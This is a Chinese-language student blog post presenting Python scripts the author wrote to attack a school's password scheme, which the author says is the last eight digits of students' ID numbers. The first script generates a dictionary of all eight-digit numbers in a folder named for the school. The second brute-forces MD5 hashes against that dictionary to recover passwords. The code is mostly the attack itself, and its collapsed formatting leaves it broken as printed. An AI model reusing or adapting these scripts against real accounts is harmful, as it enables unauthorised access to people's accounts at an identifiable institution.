最近在弄簡歷加分項,所以把以前寫過的,都在往博客搬。難頂。
這個腳本,是我以前發現學校密碼漏洞的時候,寫的。
密碼字典:
比如我這一級的密碼,就是身份證后八位,下一級,下下一級,密碼雖然有變化,但是也還是可以在這基礎上改。
#生成0-10000000之間的所有數據集,字符串長度為8,用0填充 list = [0,1000000,2000000,3000000, 4000000,5000000,6000000, 7000000,8000000,9000000,10000000] for i in range(10): a = "{0:02d}".format(i)#生成字符串00,01,...,10 l_str = str(a) + '000000'#左邊字符串為00000000,01000000,...,10000000 r_str = str(a) + '999999'#右邊字符串為00999999,01999999,...,19999999 filename = 'passwords'+'('+l_str+'-'+r_str+')'+'.txt'#文件名passwords(00000000-00999999) with open('E:/密碼學/sise_passwords/'+filename,'w') as file_to_read:#創建txt文件放在“E:/密碼學/sise_passwords/”的目錄下 if i <= 9:#列表長度是10,下標從0開始,到9結束 for j in range(list[i],list[i+1]):#循環控制數據輸入 a = "{0:08d}".format(j)#字符串長度為8,不足的用0填充 file_to_read.write(a)#數據寫入txt文檔中 file_to_read.write('\n')#每輸出一個數據到txt中,就換行一次 file_to_read.close()#關閉
MD5爆破
import os import hashlib values=input("密文是:")#MD5密文 with open('E:/密碼學/sise_passwords/passwords(08000000-08999999).txt', 'r') as file_to_read:#打開字典文本 while True: line = file_to_read.readline()#讀取文本每一行數據 if not line:#判斷讀取的每行數據是否為空 break passwords = line.strip('\n')#刪除換行符 key=hashlib.md5() key.update(passwords.encode('utf-8')) md5_test = key.hexdigest() if md5_test == values: print("明文是:"+line)
大一下學期期末的時候寫的,大佬勿噴。